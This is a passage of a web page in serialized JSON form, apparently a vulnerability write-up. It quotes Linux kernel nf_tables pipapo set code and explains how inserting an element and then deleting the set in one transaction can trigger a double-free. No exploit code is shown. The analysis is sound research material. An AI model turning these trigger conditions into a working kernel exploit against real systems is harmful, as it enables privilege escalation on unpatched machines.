the ",{"type":25,"tag":82,"props":55919,"children":55921},{"className":55920},[],[55922],{"type":31,"value":54982},{"type":31,"value":55924}," dirty by inserting a new element.",{"type":25,"tag":206,"props":55926,"children":55928},{"className":20467,"code":55927,"language":2248,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[55929],{"type":25,"tag":82,"props":55930,"children":55931},{"__ignoreMap":7},[55932,56002,56031,56056,56063,56070,56099,56106],{"type":25,"tag":216,"props":55933,"children":55934},{"class":6916,"line":6917},[55935,55939,55943,55948,55952,55956,55960,55965,55969,55974,55978,55982,55986,55990,55994,55998],{"type":25,"tag":216,"props":55936,"children":55937},{"style":6930},[55938],{"type":31,"value":55007},{"type":25,"tag":216,"props":55940,"children":55941},{"style":6930},[55942],{"type":31,"value":55136},{"type":25,"tag":216,"props":55944,"children":55945},{"style":7041},[55946],{"type":31,"value":55947}," nft_pipapo_insert",{"type":25,"tag":216,"props":55949,"children":55950},{"style":6958},[55951],{"type":31,"value":1844},{"type":25,"tag":216,"props":55953,"children":55954},{"style":6930},[55955],{"type":31,"value":13605},{"type":25,"tag":216,"props":55957,"children":55958},{"style":6930},[55959],{"type":31,"value":25105},{"type":25,"tag":216,"props":55961,"children":55962},{"style":6958},[55963],{"type":31,"value":55964}," net ",{"type":25,"tag":216,"props":55966,"children":55967},{"style":6947},[55968],{"type":31,"value":8513},{"type":25,"tag":216,"props":55970,"children":55971},{"style":6941},[55972],{"type":31,"value":55973},"net",{"type":25,"tag":216,"props":55975,"children":55976},{"style":6958},[55977],{"type":31,"value":7020},{"type":25,"tag":216,"props":55979,"children":55980},{"style":6930},[55981],{"type":31,"value":13605},{"type":25,"tag":216,"props":55983,"children":55984},{"style":6930},[55985],{"type":31,"value":25105},{"type":25,"tag":216,"props":55987,"children":55988},{"style":6958},[55989],{"type":31,"value":55062},{"type":25,"tag":216,"props":55991,"children":55992},{"style":6947},[55993],{"type":31,"value":8513},{"type":25,"tag":216,"props":55995,"children":55996},{"style":6941},[55997],{"type":31,"value":54982},{"type":25,"tag":216,"props":55999,"children":56000},{"style":6958},[56001],{"type":31,"value":7459},{"type":25,"tag":216,"props":56003,"children":56004},{"class":6916,"line":6763},[56005,56009,56013,56018,56022,56027],{"type":25,"tag":216,"props":56006,"children":56007},{"style":6930},[56008],{"type":31,"value":36858},{"type":25,"tag":216,"props":56010,"children":56011},{"style":6930},[56012],{"type":31,"value":25105},{"type":25,"tag":216,"props":56014,"children":56015},{"style":6958},[56016],{"type":31,"value":56017}," nft_set_elem ",{"type":25,"tag":216,"props":56019,"children":56020},{"style":6947},[56021],{"type":31,"value":8513},{"type":25,"tag":216,"props":56023,"children":56024},{"style":6941},[56025],{"type":31,"value":56026},"elem",{"type":25,"tag":216,"props":56028,"children":56029},{"style":6958},[56030],{"type":31,"value":7459},{"type":25,"tag":216,"props":56032,"children":56033},{"class":6916,"line":6772},[56034,56039,56043,56048,56052],{"type":25,"tag":216,"props":56035,"children":56036},{"style":6930},[56037],{"type":31,"value":56038},"        struct",{"type":25,"tag":216,"props":56040,"children":56041},{"style":6958},[56042],{"type":31,"value":55666},{"type":25,"tag":216,"props":56044,"children":56045},{"style":6947},[56046],{"type":31,"value":56047},"**",{"type":25,"tag":216,"props":56049,"children":56050},{"style":6941},[56051],{"type":31,"value":55675},{"type":25,"tag":216,"props":56053,"children":56054},{"style":6958},[56055],{"type":31,"value":7101},{"type":25,"tag":216,"props":56057,"children":56058},{"class":6916,"line":6999},[56059],{"type":25,"tag":216,"props":56060,"children":56061},{"style":6958},[56062],{"type":31,"value":14830},{"type":25,"tag":216,"props":56064,"children":56065},{"class":6916,"line":7104},[56066],{"type":25,"tag":216,"props":56067,"children":56068},{"style":6958},[56069],{"type":31,"value":14269},{"type":25,"tag":216,"props":56071,"children":56072},{"class":6916,"line":7210},[56073,56078,56082,56087,56091,56095],{"type":25,"tag":216,"props":56074,"children":56075},{"style":6941},[56076],{"type":31,"value":56077}," priv",{"type":25,"tag":216,"props":56079,"children":56080},{"style":6958},[56081],{"type":31,"value":17708},{"type":25,"tag":216,"props":56083,"children":56084},{"style":6941},[56085],{"type":31,"value":56086},"dirty",{"type":25,"tag":216,"props":56088,"children":56089},{"style":6947},[56090],{"type":31,"value":6950},{"type":25,"tag":216,"props":56092,"children":56093},{"style":6930},[56094],{"type":31,"value":16419},{"type":25,"tag":216,"props":56096,"children":56097},{"style":6958},[56098],{"type":31,"value":6961},{"type":25,"tag":216,"props":56100,"children":56101},{"class":6916,"line":7238},[56102],{"type":25,"tag":216,"props":56103,"children":56104},{"style":6958},[56105],{"type":31,"value":14269},{"type":25,"tag":216,"props":56107,"children":56108},{"class":6916,"line":7251},[56109],{"type":25,"tag":216,"props":56110,"children":56111},{"style":6958},[56112],{"type":31,"value":7868},{"type":25,"tag":38,"props":56114,"children":56115},{},[56116],{"type":31,"value":56117},"We also see that when the changes are commited, this flag is then unset.",{"type":25,"tag":206,"props":56119,"children":56121},{"className":20467,"code":56120,"language":2248,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[56122],{"type":25,"tag":82,"props":56123,"children":56124},{"__ignoreMap":7},[56125,56165,56172,56179,56210,56221,56228,56255,56262],{"type":25,"tag":216,"props":56126,"children":56127},{"class":6916,"line":6917},[56128,56132,56136,56141,56145,56149,56153,56157,56161],{"type":25,"tag":216,"props":56129,"children":56130},{"style":6930},[56131],{"type":31,"value":55007},{"type":25,"tag":216,"props":56133,"children":56134},{"style":6930},[56135],{"type":31,"value":55012},{"type":25,"tag":216,"props":56137,"children":56138},{"style":7041},[56139],{"type":31,"value":56140}," nft_pipapo_commit",{"type":25,"tag":216,"props":56142,"children":56143},{"style":6958},[56144],{"type":31,"value":1844},{"type":25,"tag":216,"props":56146,"children":56147},{"style":6930},[56148],{"type":31,"value":13351},{"type":25,"tag":216,"props":56150,"children":56151},{"style":6958},[56152],{"type":31,"value":55062},{"type":25,"tag":216,"props":56154,"children":56155},{"style":6947},[56156],{"type":31,"value":8513},{"type":25,"tag":216,"props":56158,"children":56159},{"style":6941},[56160],{"type":31,"value":54982},{"type":25,"tag":216,"props":56162,"children":56163},{"style":6958},[56164],{"type":31,"value":7101},{"type":25,"tag":216,"props":56166,"children":56167},{"class":6916,"line":6763},[56168],{"type":25,"tag":216,"props":56169,"children":56170},{"style":6958},[56171],{"type":31,"value":14830},{"type":25,"tag":216,"props":56173,"children":56174},{"class":6916,"line":6772},[56175],{"type":25,"tag":216,"props":56176,"children":56177},{"style":6958},[56178],{"type":31,"value":14269},{"type":25,"tag":216,"props":56180,"children":56181},{"class":6916,"line":6999},[56182,56186,56190,56194,56198,56202,56206],{"type":25,"tag":216,"props":56183,"children":56184},{"style":6967},[56185],{"type":31,"value":19740},{"type":25,"tag":216,"props":56187,"children":56188},{"style":6958},[56189],{"type":31,"value":7010},{"type":25,"tag":216,"props":56191,"children":56192},{"style":6947},[56193],{"type":31,"value":24575},{"type":25,"tag":216,"props":56195,"children":56196},{"style":6941},[56197],{"type":31,"value":55537},{"type":25,"tag":216,"props":56199,"children":56200},{"style":6958},[56201],{"type":31,"value":17708},{"type":25,"tag":216,"props":56203,"children":56204},{"style":6941},[56205],{"type":31,"value":56086},{"type":25,"tag":216,"props":56207,"children":56208},{"style":6958},[56209],{"type":31,"value":7101},{"type":25,"tag":216,"props":56211,"children":56212},{"class":6916,"line":7104},[56213,56217],{"type":25,"tag":216,"props":56214,"children":56215},{"style":6967},[56216],{"type":31,"value":43156},{"type":25,"tag":216,"props":56218,"children":56219},{"style":6958},[56220],{"type":31,"value":6961},{"type":25,"tag":216,"props":56222,"children":56223},{"class":6916,"line":7210},[56224],{"type":25,"tag":216,"props":56225,"children":56226},{"style":6958},[56227],{"type":31,"value":14269},{"type":25,"tag":216,"props":56229,"children":56230},{"class":6916,"line":7238},[56231,56235,56239,56243,56247,56251],{"type":25,"tag":216,"props":56232,"children":56233},{"style":6941},[56234],{"type":31,"value":56077},{"type":25,"tag":216,"props":56236,"children":56237},{"style":6958},[56238],{"type":31,"value":17708},{"type":25,"tag":216,"props":56240,"children":56241},{"style":6941},[56242],{"type":31,"value":56086},{"type":25,"tag":216,"props":56244,"children":56245},{"style":6947},[56246],{"type":31,"value":6950},{"type":25,"tag":216,"props":56248,"children":56249},{"style":6930},[56250],{"type":31,"value":13006},{"type":25,"tag":216,"props":56252,"children":56253},{"style":6958},[56254],{"type":31,"value":6961},{"type":25,"tag":216,"props":56256,"children":56257},{"class":6916,"line":7251},[56258],{"type":25,"tag":216,"props":56259,"children":56260},{"style":6958},[56261],{"type":31,"value":14269},{"type":25,"tag":216,"props":56263,"children":56264},{"class":6916,"line":7269},[56265],{"type":25,"tag":216,"props":56266,"children":56267},{"style":6958},[56268],{"type":31,"value":7868},{"type":25,"tag":38,"props":56270,"children":56271},{},[56272,56274,56279,56281,56286,56288,56293,56295,56300,56302,56308,56310,56316,56318,56323],{"type":31,"value":56273},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":25,"tag":82,"props":56275,"children":56277},{"className":56276},[],[56278],{"type":31,"value":54974},{"type":31,"value":56280}," in the ",{"type":25,"tag":82,"props":56282,"children":56284},{"className":56283},[],[56285],{"type":31,"value":54982},{"type":31,"value":56287}," to make it dirty and then delete the ",{"type":25,"tag":82,"props":56289,"children":56291},{"className":56290},[],[56292],{"type":31,"value":54982},{"type":31,"value":56294},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":25,"tag":82,"props":56296,"children":56298},{"className":56297},[],[56299],{"type":31,"value":54982},{"type":31,"value":56301},"'s ",{"type":25,"tag":82,"props":56303,"children":56305},{"className":56304},[],[56306],{"type":31,"value":56307},"->commit()",{"type":31,"value":56309}," method is executed before its ",{"type":25,"tag":82,"props":56311,"children":56313},{"className":56312},[],[56314],{"type":31,"value":56315},"->destroy()",{"type":31,"value":56317}," method, then the ",{"type":25,"tag":82,"props":56319,"children":56321},{"className":56320},[],[56322],{"type":31,"value":56086},{"type":31,"value":56324}," flag will be unset, and we won't be able to trigger the double-free.",{"type":25,"tag":38,"props":56326,"children":56327},{},[56328],{"type":31,"value":56329},"Let's once again refer to the code and see how these methods are called.",{"type":25,"tag":206,"props":56331,"children":56333},{"className":20467,"code":56332,"language":2248,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[56334],{"type":25,"tag":82,"props":56335,"children":56336},{"__ignoreMap":7},[56337,56399,56406,56413,56421,56434,56469,56503,56545,56567,56579,56592,56599,56647,56688,56728,56741,56748,56755,56762,56769,56794,56801,56814,56821,56837],{"type":25,"tag":216,"props":56338,"children":56339},{"class":6916,"line":6917},[56340,56344,56348,56353,56357,56361,56365,56369,56373,56377,56381,56386,56390,56395],{"type":25,"tag":216,"props":56341,"children":56342},{"style":6930},[56343],{"type":31,"value":55007},{"type":25,"tag":216,"props":56345,"children":56346},{"style":6930},[56347],{"type":31,"value":55136},{"type":25,"tag":216,"props":56349,"children":56350},{"style":7041},[56351],{"type":31,"value":56352}," nf_tables_commit",{"type":25,"tag":216,"props":56354,"children":56355},{"style":6958},[56356],{"type":31,"value":1844},{"type":25,"tag":216,"props":56358,"children":56359},{"style":6930},[56360],{"type":31,"value":13351},{"type":25,"tag":216,"props":56362,"children":56363},{"style":6958},[56364],{"type":31,"value":55964},{"type":25,"tag":216,"props":56366,"children":56367},{"style":6947},[56368],{"type":31,"value":8513},{"type":25,"tag":216,"props":56370,"children":56371},{"style":6941},[56372],{"type":31,"value":55973},{"type":25,"tag":216,"props":56374,"children":56375},{"style":6958},[56376],{"type":31,"value":7020},{"type":25,"tag":216,"props":56378,"children":56379},{"style":6930},[56380],{"type":31,"value":13351},{"type":25,"tag":216,"props":56382,"children":56383},{"style":6958},[56384],{"type":31,"value":56385}," sk_buff ",{"type":25,"tag":216,"props":56387,"children":56388},{"style":6947},[56389],{"type":31,"value":8513},{"type":25,"tag":216,"props":56391,"children":56392},{"style":6941},[56393],{"type":31,"value":56394},"skb",{"type":25,"tag":216,"props":56396,"children":56397},{"style":6958},[56398],{"type":31,"value":7101},{"type":25,"tag":216,"props":56400,"children":56401},{"class":6916,"line":6763},[56402],{"type":25,"tag":216,"props":56403,"children":56404},{"style":6958},[56405],{"type":31,"value":14830},{"type":25,"tag":216,"props":56407,"children":56408},{"class":6916,"line":6772},[56409],{"type":25,"tag":216,"props":56410,"children":56411},{"style":6958},[56412],{"type":31,"value":14269},{"type":25,"tag":216,"props":56414,"children":56415},{"class":6916,"line":6999},[56416],{"type":25,"tag":216,"props":56417,"children":56418},{"style":6958},[56419],{"type":31,"value":56420},"  case NFT_MSG_DELSET:\n",{"type":25,"tag":216,"props":56422,"children":56423},{"class":6916,"line":7104},[56424,56429],{"type":25,"tag":216,"props":56425,"children":56426},{"style":6958},[56427],{"type":31,"value":56428},"  case NFT_MSG_DESTROYSET:",{"type":25,"tag":216,"props":56430,"children":56431},{"style":6921},[56432],{"type":31,"value":56433}," // [1]\n",{"type":25,"tag":216,"props":56435,"children":56436},{"class":6916,"line":7210},[56437,56442,56447,56452,56456,56460,56464],{"type":25,"tag":216,"props":56438,"children":56439},{"style":7041},[56440],{"type":31,"value":56441},"   nft_trans_set",{"type":25,"tag":216,"props":56443,"children":56444},{"style":6958},[56445],{"type":31,"value":56446},"(trans)->",{"type":25,"tag":216,"props":56448,"children":56449},{"style":6941},[56450],{"type":31,"value":56451},"dead",{"type":25,"tag":216,"props":56453,"children":56454},{"style":6947},[56455],{"type":31,"value":6950},{"type":25,"tag":216,"props":56457,"children":56458},{"style":6983},[56459],{"type":31,"value":8465},{"type":25,"tag":216,"props":56461,"children":56462},{"style":6958},[56463],{"type":31,"value":53037},{"type":25,"tag":216,"props":56465,"children":56466},{"style":6921},[56467],{"type":31,"value":56468}," // [2]\n",{"type":25,"tag":216,"props":56470,"children":56471},{"class":6916,"line":7238},[56472,56477,56481,56485,56490,56494,56499],{"type":25,"tag":216,"props":56473,"children":56474},{"style":7041},[56475],{"type":31,"value":56476},"   list_del_rcu",{"type":25,"tag":216,"props":56478,"children":56479},{"style":6958},[56480],{"type":31,"value":1844},{"type":25,"tag":216,"props":56482,"children":56483},{"style":6947},[56484],{"type":31,"value":7053},{"type":25,"tag":216,"props":56486,"children":56487},{"style":7041},[56488],{"type":31,"value":56489},"nft_trans_set",{"type":25,"tag":216,"props":56491,"children":56492},{"style":6958},[56493],{"type":31,"value":56446},{"type":25,"tag":216,"props":56495,"children":56496},{"style":6941},[56497],{"type":31,"value":56498},"list",{"type":25,"tag":216,"props":56500,"children":56501},{"style":6958},[56502],{"type":31,"value":7791},{"type":25,"tag":216,"props":56504,"children":56505},{"class":6916,"line":7251},[56506,56511,56515,56519,56524,56528,56532,56536,56540],{"type":25,"tag":216,"props":56507,"children":56508},{"style":7041},[56509],{"type":31,"value":56510},"   nf_tables_set_notify",{"type":25,"tag":216,"props":56512,"children":56513},{"style":6958},[56514],{"type":31,"value":1844},{"type":25,"tag":216,"props":56516,"children":56517},{"style":6947},[56518],{"type":31,"value":7053},{"type":25,"tag":216,"props":56520,"children":56521},{"style":6941},[56522],{"type":31,"value":56523},"trans",{"type":25,"tag":216,"props":56525,"children":56526},{"style":6958},[56527],{"type":31,"value":17708},{"type":25,"tag":216,"props":56529,"children":56530},{"style":6941},[56531],{"type":31,"value":24234},{"type":25,"tag":216,"props":56533,"children":56534},{"style":6958},[56535],{"type":31,"value":7020},{"type":25,"tag":216,"props":56537,"children":56538},{"style":7041},[56539],{"type":31,"value":56489},{"type":25,"tag":216,"props":56541,"children":56542},{"style":6958},[56543],{"type":31,"value":56544},"(trans),\n",{"type":25,"tag":216,"props":56546,"children":56547},{"class":6916,"line":7269},[56548,56553,56557,56562],{"type":25,"tag":216,"props":56549,"children":56550},{"style":6941},[56551],{"type":31,"value":56552},"          trans",{"type":25,"tag":216,"props":56554,"children":56555},{"style":6958},[56556],{"type":31,"value":17708},{"type":25,"tag":216,"props":56558,"children":56559},{"style":6941},[56560],{"type":31,"value":56561},"msg_type",{"type":25,"tag":216,"props":56563,"children":56564},{"style":6958},[56565],{"type":31,"value":56566},", GFP_KERNEL);\n",{"type":25,"tag":216,"props":56568,"children":56569},{"class":6916,"line":7290},[56570,56575],{"type":25,"tag":216,"props":56571,"children":56572},{"style":6967},[56573],{"type":31,"value":56574},"   break",{"type":25,"tag":216,"props":56576,"children":56577},{"style":6958},[56578],{"type":31,"value":6961},{"type":25,"tag":216,"props":56580,"children":56581},{"class":6916,"line":7299},[56582,56587],{"type":25,"tag":216,"props":56583,"children":56584},{"style":6958},[56585],{"type":31,"value":56586},"  case NFT_MSG_NEWSETELEM:",{"type":25,"tag":216,"props":56588,"children":56589},{"style":6921},[56590],{"type":31,"value":56591}," // [3]\n",{"type":25,"tag":216,"props":56593,"children":56594},{"class":6916,"line":7551},[56595],{"type":25,"tag":216,"props":56596,"children":56597},{"style":6958},[56598],{"type":31,"value":14269},{"type":25,"tag":216,"props":56600,"children":56601},{"class":6916,"line":7568},[56602,56607,56611,56616,56620,56624,56628,56633,56637,56642],{"type":25,"tag":216,"props":56603,"children":56604},{"style":6967},[56605],{"type":31,"value":56606},"   if",{"type":25,"tag":216,"props":56608,"children":56609},{"style":6958},[56610],{"type":31,"value":7010},{"type":25,"tag":216,"props":56612,"children":56613},{"style":6941},[56614],{"type":31,"value":56615},"te",{"type":25,"tag":216,"props":56617,"children":56618},{"style":6958},[56619],{"type":31,"value":17708},{"type":25,"tag":216,"props":56621,"children":56622},{"style":6941},[56623],{"type":31,"value":54982},{"type":25,"tag":216,"props":56625,"children":56626},{"style":6958},[56627],{"type":31,"value":17708},{"type":25,"tag":216,"props":56629,"children":56630},{"style":6941},[56631],{"type":31,"value":56632},"ops",{"type":25,"tag":216,"props":56634,"children":56635},{"style":6958},[56636],{"type":31,"value":17708},{"type":25,"tag":216,"props":56638,"children":56639},{"style":6941},[56640],{"type":31,"value":56641},"commit",{"type":25,"tag":216,"props":56643,"children":56644},{"style":6947},[56645],{"type":31,"value":56646}," &&\n",{"type":25,"tag":216,"props":56648,"children":56649},{"class":6916,"line":7585},[56650,56655,56659,56663,56667,56671,56675,56679,56684],{"type":25,"tag":216,"props":56651,"children":56652},{"style":7041},[56653],{"type":31,"value":56654},"       list_empty",{"type":25,"tag":216,"props":56656,"children":56657},{"style":6958},[56658],{"type":31,"value":1844},{"type":25,"tag":216,"props":56660,"children":56661},{"style":6947},[56662],{"type":31,"value":7053},{"type":25,"tag":216,"props":56664,"children":56665},{"style":6941},[56666],{"type":31,"value":56615},{"type":25,"tag":216,"props":56668,"children":56669},{"style":6958},[56670],{"type":31,"value":17708},{"type":25,"tag":216,"props":56672,"children":56673},{"style":6941},[56674],{"type":31,"value":54982},{"type":25,"tag":216,"props":56676,"children":56677},{"style":6958},[56678],{"type":31,"value":17708},{"type":25,"tag":216,"props":56680,"children":56681},{"style":6941},[56682],{"type":31,"value":56683},"pending_update",{"type":25,"tag":216,"props":56685,"children":56686},{"style":6958},[56687],{"type":31,"value":39151},{"type":25,"tag":216,"props":56689,"children":56690},{"class":6916,"line":7598},[56691,56696,56700,56704,56708,56712,56716,56720,56724],{"type":25,"tag":216,"props":56692,"children":56693},{"style":7041},[56694],{"type":31,"value":56695},"    list_add_tail",{"type":25,"tag":216,"props":56697,"children":56698},{"style":6958},[56699],{"type":31,"value":1844},{"type":25,"tag":216,"props":56701,"children":56702},{"style":6947},[56703],{"type":31,"value":7053},{"type":25,"tag":216,"props":56705,"children":56706},{"style":6941},[56707],{"type":31,"value":56615},{"type":25,"tag":216,"props":56709,"children":56710},{"style":6958},[56711],{"type":31,"value":17708},{"type":25,"tag":216,"props":56713,"children":56714},{"style":6941},[56715],{"type":31,"value":54982},{"type":25,"tag":216,"props":56717,"children":56718},{"style":6958},[56719],{"type":31,"value":17708},{"type":25,"tag":216,"props":56721,"children":56722},{"style":6941},[56723],{"type":31,"value":56683},{"type":25,"tag":216,"props":56725,"children":56726},{"style":6958},[56727],{"type":31,"value":7459},{"type":25,"tag":216,"props":56729,"children":56730},{"class":6916,"line":7607},[56731,56736],{"type":25,"tag":216,"props":56732,"children":56733},{"style":6947},[56734],{"type":31,"value":56735},"           &",{"type":25,"tag":216,"props":56737,"children":56738},{"style":6958},[56739],{"type":31,"value":56740},"set_update_list);\n",{"type":25,"tag":216,"props":56742,"children":56743},{"class":6916,"line":7630},[56744],{"type":25,"tag":216,"props":56745,"children":56746},{"style":6958},[56747],{"type":31,"value":38705},{"type":25,"tag":216,"props":56749,"children":56750},{"class":6916,"line":7639},[56751],{"type":25,"tag":216,"props":56752,"children":56753},{"style":6958},[56754],{"type":31,"value":14269},{"type":25,"tag":216,"props":56756,"children":56757},{"class":6916,"line":7648},[56758],{"type":25,"tag":216,"props":56759,"children":56760},{"style":6958},[56761],{"type":31,"value":13546},{"type":25,"tag":216,"props":56763,"children":56764},{"class":6916,"line":7716},[56765],{"type":25,"tag":216,"props":56766,"children":56767},{"emptyLinePlaceholder":16},[56768],{"type":31,"value":7636},{"type":25,"tag":216,"props":56770,"children":56771},{"class":6916,"line":7724},[56772,56777,56781,56785,56790],{"type":25,"tag":216,"props":56773,"children":56774},{"style":7041},[56775],{"type":31,"value":56776}," nft_set_commit_update",{"type":25,"tag":216,"props":56778,"children":56779},{"style":6958},[56780],{"type":31,"value":1844},{"type":25,"tag":216,"props":56782,"children":56783},{"style":6947},[56784],{"type":31,"value":7053},{"type":25,"tag":216,"props":56786,"children":56787},{"style":6941},[56788],{"type":31,"value":56789},"set_update_list",{"type":25,"tag":216,"props":56791,"children":56792},{"style":6958},[56793],{"type":31,"value":7791},{"type":25,"tag":216,"props":56795,"children":56796},{"class":6916,"line":7754},[56797],{"type":25,"tag":216,"props":56798,"children":56799},{"style":6958},[56800],{"type":31,"value":14269},{"type":25,"tag":216,"props":56802,"children":56803},{"class":6916,"line":7762},[56804,56809],{"type":25,"tag":216,"props":56805,"children":56806},{"style":7041},[56807],{"type":31,"value":56808}," nf_tables_commit_release",{"type":25,"tag":216,"props":56810,"children":56811},{"style":6958},[56812],{"type":31,"value":56813},"(net);\n",{"type":25,"tag":216,"props":56815,"children":56816},{"class":6916,"line":7794},[56817],{"type":25,"tag":216,"props":56818,"children":56819},{"emptyLinePlaceholder":16},[56820],{"type":31,"value":7636},{"type":25,"tag":216,"props":56822,"children":56823},{"class":6916,"line":7802},[56824,56829,56833],{"type":25,"tag":216,"props":56825,"children":56826},{"style":6967},[56827],{"type":31,"value":56828}," return",{"type":25,"tag":216,"props":56830,"children":56831},{"style":6983},[56832],{"type":31,"value":6986},{"type":25,"tag":216,"props":56834,"children":56835},{"style":6958},[56836],{"type":31,"value":6961},{"type":25,"tag":216,"props":56838,"children":56839},{"class":6916,"line":7862},[56840],{"type":25,"tag":216,"props":56841,"children":56842},{"style":6958},[56843],{"type":31,"value":7868},{"type":25,"tag":38,"props":56845,"children":56846},{},[56847,56848,56854,56856,56861],{"type":31,"value":474},{"type":25,"tag":82,"props":56849,"children":56851},{"className":56850},[],[56852],{"type":31,"value":56853},"nft_set_commit_update()",{"type":31,"value":56855}," function in the code above will call the ",{"type":25,"tag":82,"props":56857,"children":56859},{"className":56858},[],[56860],{"type":31,"value":56307},{"type":31,"value":56862}," method for any objects that were marked as pending an update.",{"type":25,"tag":206,"props":56864,"children":56866},{"className":20467,"code":56865,"language":2248,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[56867],{"type":25,"tag":82,"props":56868,"children":56869},{"__ignoreMap":7},[56870,56910,56917,56946,56953,56966,56998,57005,57066,57077,57084,57118,57125],{"type":25,"tag":216,"props":56871,"children":56872},{"class":6916,"line":6917},[56873,56877,56881,56885,56889,56893,56898,56902,56906],{"type":25,"tag":216,"props":56874,"children":56875},{"style":6930},[56876],{"type":31,"value":55007},{"type":25,"tag":216,"props":56878,"children":56879},{"style":6930},[56880],{"type":31,"value":55012},{"type":25,"tag":216,"props":56882,"children":56883},{"style":7041},[56884],{"type":31,"value":56776},{"type":25,"tag":216,"props":56886,"children":56887},{"style":6958},[56888],{"type":31,"value":1844},{"type":25,"tag":216,"props":56890,"children":56891},{"style":6930},[56892],{"type":31,"value":13351},{"type":25,"tag":216,"props":56894,"children":56895},{"style":6958},[56896],{"type":31,"value":56897}," list_head ",{"type":25,"tag":216,"props":56899,"children":56900},{"style":6947},[56901],{"type":31,"value":8513},{"type":25,"tag":216,"props":56903,"children":56904},{"style":6941},[56905],{"type":31,"value":56789},{"type":25,"tag":216,"props":56907,"children":56908},{"style":6958},[56909],{"type":31,"value":7101},{"type":25,"tag":216,"props":56911,"children":56912},{"class":6916,"line":6763},[56913],{"type":25,"tag":216,"props":56914,"children":56915},{"style":6958},[56916],{"type":31,"value":14830},{"type":25,"tag":216,"props":56918,"children":56919},{"class":6916,"line":6772},[56920,56924,56928,56932,56937,56941],{"type":25,"tag":216,"props":56921,"children":56922},{"style":6930},[56923],{"type":31,"value":25105},{"type":25,"tag":216,"props":56925,"children":56926},{"style":6958},[56927],{"type":31,"value":55062},{"type":25,"tag":216,"props":56929,"children":56930},{"style":6947},[56931],{"type":31,"value":8513},{"type":25,"tag":216,"props":56933,"children":56934},{"style":6958},[56935],{"type":31,"value":56936},"set, ",{"type":25,"tag":216,"props":56938,"children":56939},{"style":6947},[56940],{"type":31,"value":8513},{"type":25,"tag":216,"props":56942,"children":56943},{"style":6958},[56944],{"type":31,"value":56945},"next;\n",{"type":25,"tag":216,"props":56947,"children":56948},{"class":6916,"line":6999},[56949],{"type":25,"tag":216,"props":56950,"children":56951},{"emptyLinePlaceholder":16},[56952],{"type":31,"value":7636},{"type":25,"tag":216,"props":56954,"children":56955},{"class":6916,"line":7104},[56956,56961],{"type":25,"tag":216,"props":56957,"children":56958},{"style":7041},[56959],{"type":31,"value":56960}," list_for_each_entry_safe",{"type":25,"tag":216,"props":56962,"children":56963},{"style":6958},[56964],{"type":31,"value":56965},"(set, next, set_update_list, pending_update) {\n",{"type":25,"tag":216,"props":56967,"children":56968},{"class":6916,"line":7210},[56969,56974,56978,56982,56986,56990,56994],{"type":25,"tag":216,"props":56970,"children":56971},{"style":7041},[56972],{"type":31,"value":56973},"  list_del_init",{"type":25,"tag":216,"props":56975,"children":56976},{"style":6958},[56977],{"type":31,"value":1844},{"type":25,"tag":216,"props":56979,"children":56980},{"style":6947},[56981],{"type":31,"value":7053},{"type":25,"tag":216,"props":56983,"children":56984},{"style":6941},[56985],{"type":31,"value":54982},{"type":25,"tag":216,"props":56987,"children":56988},{"style":6958},[56989],{"type":31,"value":17708},{"type":25,"tag":216,"props":56991,"children":56992},{"style":6941},[56993],{"type":31,"value":56683},{"type":25,"tag":216,"props":56995,"children":56996},{"style":6958},[56997],{"type":31,"value":7791},{"type":25,"tag":216,"props":56999,"children":57000},{"class":6916,"line":7238},[57001],{"type":25,"tag":216,"props":57002,"children":57003},{"emptyLinePlaceholder":16},[57004],{"type":31,"value":7636},{"type":25,"tag":216,"props":57006,"children":57007},{"class":6916,"line":7251},[57008,57012,57016,57020,57024,57028,57032,57036,57040,57044,57049,57053,57057,57061],{"type":25,"tag":216,"props":57009,"children":57010},{"style":6967},[57011],{"type":31,"value":35350},{"type":25,"tag":216,"props":57013,"children":57014},{"style":6958},[57015],{"type":31,"value":7010},{"type":25,"tag":216,"props":57017,"children":57018},{"style":6947},[57019],{"type":31,"value":24575},{"type":25,"tag":216,"props":57021,"children":57022},{"style":6941},[57023],{"type":31,"value":54982},{"type":25,"tag":216,"props":57025,"children":57026},{"style":6958},[57027],{"type":31,"value":17708},{"type":25,"tag":216,"props":57029,"children":57030},{"style":6941},[57031],{"type":31,"value":56632},{"type":25,"tag":216,"props":57033,"children":57034},{"style":6958},[57035],{"type":31,"value":17708},{"type":25,"tag":216,"props":57037,"children":57038},{"style":6941},[57039],{"type":31,"value":56641},{"type":25,"tag":216,"props":57041,"children":57042},{"style":6947},[57043],{"type":31,"value":27648},{"type":25,"tag":216,"props":57045,"children":57046},{"style":6941},[57047],{"type":31,"value":57048}," set",{"type":25,"tag":216,"props":57050,"children":57051},{"style":6958},[57052],{"type":31,"value":17708},{"type":25,"tag":216,"props":57054,"children":57055},{"style":6941},[57056],{"type":31,"value":56451},{"type":25,"tag":216,"props":57058,"children":57059},{"style":6958},[57060],{"type":31,"value":1882},{"type":25,"tag":216,"props":57062,"children":57063},{"style":6921},[57064],{"type":31,"value":57065}," // 